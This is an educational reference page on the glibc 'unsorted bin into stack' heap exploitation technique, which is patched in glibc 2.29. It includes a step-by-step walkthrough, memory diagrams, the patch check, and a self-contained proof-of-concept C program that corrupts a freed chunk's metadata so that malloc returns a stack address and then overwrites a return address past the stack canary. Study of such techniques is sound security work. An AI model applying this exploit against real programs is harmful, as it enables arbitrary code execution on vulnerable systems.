Skip to main content

Overview

The unsorted bin into stack technique exploits the unsorted bin’s freelist mechanism to make malloc() return a pointer to a nearly-arbitrary location, such as the stack. This is achieved by corrupting the bk pointer of a freed chunk in the unsorted bin.
This technique was patched in glibc 2.29. It only works on glibc versions < 2.29.

Glibc Version Compatibility

Working Versions

glibc 2.23 - 2.28

Patched

glibc 2.29+ (April 2019)
Patch Information: glibc commit b90ddd08 The patch added size consistency checks when removing chunks from the unsorted bin.

What Does This Technique Achieve?

This attack allows you to:
  • Get malloc to return a stack address - control where malloc allocates
  • Overwrite return addresses - achieve code execution by writing to the stack
  • Bypass stack canaries - write beyond the canary without triggering protection
The returned pointer can point to any writable address where you can craft a fake chunk with an appropriate size field.

The Vulnerability

The attack requires:
  1. Heap overflow or UAF - ability to overwrite a freed chunk’s metadata
  2. Writable target location - place to create a fake chunk (e.g., stack)
  3. Size mismatch - next allocation must differ from freed chunk size

Technical Details

Unsorted Bin Behavior

When malloc() is called:
  1. It searches the unsorted bin for a suitable chunk
  2. If size doesn’t match exactly, it removes the chunk and sorts it into appropriate bin
  3. During removal, it performs: victim->bk->fd = unsorted_chunks(av)
By controlling victim->bk, we control where this write goes and what chunk gets “linked” into the unsorted bin.

Fake Chunk Requirements

stack_buffer[1] = size;           // Must be: 2*SIZE_SZ < size < av->system_mem
stack_buffer[3] = (intptr_t)bk;   // bk pointer (can point back to itself)

Memory Layout

Stack:
+-------------------+
| stack_buffer[0]   |  (unused)
| stack_buffer[1]   |  <-- size (0x110)
| stack_buffer[2]   |  <-- allocated region starts here
| stack_buffer[3]   |  <-- bk pointer
+-------------------+
        ^
        |
       [fake chunk]

Heap:
+-------------------+
| Victim chunk      |
|  size: corrupted  |  <-- Changed to differ from next alloc
|  fd: (unchanged)  |
|  bk: stack_buffer |  <-- Points to our fake chunk
+-------------------+

Step-by-Step Exploitation

1

Allocate and Free Victim

Create a chunk and free it to place it in the unsorted bin:
intptr_t* victim = malloc(0x100);
malloc(0x100);  // Prevent consolidation with top chunk
free(victim);   // Victim goes into unsorted bin
2

Create Fake Chunk on Stack

Set up a fake chunk structure on the stack:
intptr_t stack_buffer[4] = {0};

// Size must pass: 2*SIZE_SZ (16 on x64) && < av->system_mem
stack_buffer[1] = 0x100 + 0x10;  // Size field
stack_buffer[3] = (intptr_t)stack_buffer;  // bk pointer
3

Corrupt Victim Metadata

Exploit vulnerability to overwrite victim’s size and bk:
// Vulnerability: overwrite victim chunk metadata
victim[-1] = 32;  // Size different from next malloc
victim[1] = (intptr_t)stack_buffer;  // bk points to fake chunk
The size must be different from the next allocation to force unsorted bin processing.
4

Trigger Allocation

Call malloc to get the fake chunk returned:
char *p2 = malloc(0x100);
// p2 now points to stack_buffer[2]
The unsorted bin processing:
  1. Sees victim with size 32 (doesn’t match request of 0x100)
  2. Removes victim from unsorted bin
  3. Follows victim->bk to our fake chunk
  4. Returns &stack_buffer[2] as the allocation
5

Exploit the Stack Pointer

Use the stack pointer to overwrite return addresses:
intptr_t sc = (intptr_t)target_function;
// Write to p2[40] to overwrite return address
// This bypasses stack canaries!
memcpy((p2+40), &sc, 8);

Full Source Code

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
	intptr_t stack_buffer[4] = {0};

	printf("Allocating the victim chunk\n");
	intptr_t* victim = malloc(0x100);

	printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
	intptr_t* p1 = malloc(0x100);

	printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
	free(victim);

	printf("Create a fake chunk on the stack");
	printf("Set size for next allocation and the bk pointer to any writable address");
	stack_buffer[1] = 0x100 + 0x10;
	stack_buffer[3] = (intptr_t)stack_buffer;

	//------------VULNERABILITY-----------
	printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
	printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
	victim[-1] = 32;
	victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
	//------------------------------------

	printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
	char *p2 = malloc(0x100);
	printf("malloc(0x100): %p\n", p2);

	intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
	memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

	assert((long)__builtin_return_address(0) == (long)jackpot);
}

Why This Works

The unsorted bin processing in glibc < 2.29:
// Simplified unsorted bin victim removal
bck = victim->bk;
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);  // This writes to our fake chunk!
By setting victim->bk = stack_buffer, we control where bck->fd writes. The fake chunk on the stack is then treated as a valid unsorted bin chunk.

The Patch (glibc 2.29)

The patch added this check:
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
    || __glibc_unlikely (size > av->system_mem))
  malloc_printerr ("malloc(): invalid size (unsorted)");
This validates the size field before processing, preventing fake chunks with invalid sizes.

Bypassing Stack Canaries

One powerful aspect of this technique is that it can overwrite return addresses without triggering stack canary protection, as the write happens beyond the canary’s location on the stack.
Stack Layout:
+------------------+
| local variables  |
+------------------+
| stack canary     |  <-- Protected
+------------------+
| saved rbp        |
+------------------+
| return address   |  <-- We write here
+------------------+
|  (higher addr)   |

Practice

Try it in your browser

Debug this technique interactively on Ret2 Wargames (glibc 2.23)
  • Unsorted Bin Attack - Write large value instead of arbitrary allocation
  • [House of Lore/techniques/house/house-of-lore) - Similar concept with smallbins

References

Build docs developers (and LLMs) love